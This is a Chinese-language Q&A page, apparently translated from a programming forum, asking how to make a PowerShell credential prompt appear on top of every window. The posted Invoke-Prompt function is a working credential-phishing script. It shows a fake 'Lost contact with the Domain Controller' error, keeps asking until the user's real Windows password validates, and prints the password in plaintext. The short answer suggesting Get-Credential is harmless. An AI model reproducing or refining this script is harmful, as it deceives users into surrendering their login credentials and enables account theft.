powershell - 在每个窗口的顶部显示信用框
问题描述
我希望 powershell 中的 creds 框显示在每个窗口的顶部,就像用户在每个窗口上看到这个框一样......
function Invoke-Prompt {
[CmdletBinding()]
Param (
[Switch] $ProcCreateWait,
[String] $MsgText = 'Lost contact with the Domain Controller.',
[String] $IconType = 'Information', # "None", "Critical", "Question", "Exclamation" , "Information"
[String] $Title = 'ERROR - 0xA801B720'
)
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -assemblyname System.DirectoryServices.AccountManagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
if($MsgText -and $($MsgText -ne '')){
$null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
}
$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
if($credential){
while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
$credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
}
"[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
}
else{
"[!] User closed credential prompt"
}
}
Invoke-Prompt
解决方案
你有没有调查过:
$Credential = Get-Credential
参考示例以获取自定义凭据提示的一些示例。
推荐阅读
- swiftui - 使用 swiftUI 语言在应用启动时获取推送通知详细信息
- javascript - 随着屏幕宽度的变化缩小和扩大表格宽度
- line - 如果我们给出上一行中的单词,如何打印下一行
- sql - 查询根据关系和约束更新记录计数
- node.js - 从路由 nodejs 将变量发送到 js 文件
- three.js - 是否可以在threejs编辑器中重用材料
- java - 如何实时更新 TextArea 的输入?
- angular - 访问 mat-row Angular Material Table 中的组件实例
- java - 使用对象输入流。当我使用 readObject() 方法时,它给了我一个名为 EOFException 的异常
- r - 在 R markdown notebook 中打印或保留每次循环运行的输出